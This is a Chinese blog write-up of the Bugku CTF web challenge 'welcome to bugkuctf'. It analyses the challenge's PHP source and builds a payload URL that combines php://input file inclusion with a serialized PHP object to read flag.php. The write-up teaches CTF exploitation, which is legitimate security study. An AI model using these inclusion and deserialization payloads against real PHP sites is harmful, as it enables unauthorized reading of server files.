Bugku-welcome to bugkuctf

OnionT@KillBoy 渗透测试评论20,35312字数 956阅读3分11秒阅读模式

这道题和CTF论剑场的web21题非常相似,做题方式是一样的,可以在我的博客中搜索web21进行查看对比
首先打开页面是一串提示,同时我们看一下页面源代码
Bugku-welcome to bugkuctf
对图片中的源代码进行分析:

$user = $_GET["txt"];    //接收一个txt参数的值 $file = $_GET["file"];  //接收一个file参数的值 $pass = $_GET["password"];  //接收一个password参数的值     //如果$user有值,就读取$user中的值,并且$user的值等于“welcome to the bugkuctf”,就打印“hello admin!”,同时包含一个hint.php的文件 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){       echo "hello admin!<br>";       include($file); //hint.php   }else{       echo "you are not admin ! ";  //否则打印出“you are not admin !”

根据上面的代码我们可以构造payload,同时利用文件包含漏洞读取hint.php的源代码
Bugku-welcome to bugkuctf
解码进行分析,代码如下:

<?php      class Flag{//flag.php       public $file;       public function __tostring(){           if(isset($this->file)){               echo file_get_contents($this->file);              echo "<br>";         return ("good");         }       }   }   ?>  

这个和CTF论剑场的web21思路是一模一样的,没啥说的,可以去看看http://www.oniont.cn/index.php/archives/61.html
这里放个PHP反序列化在线工具:https://1024tools.com/unserialize
构造payload:
/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
得到flag。。。
Bugku-welcome to bugkuctf

http://www.oniont.cn/index.php/archives/98.html

免责声明:本站某些文章、信息、图片、软件等来源于互联网,由本网整理发表,希望传递更多信息和学习之目的,并不意味赞同起观点或证实其内容的真实性以及非法用途。 如设计、版权等问题,请立即联系管理员,我们会给予更改或删除相关文章,保证您的权利。
高性能云服务器2折起
 
OnionT@KillBoy
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: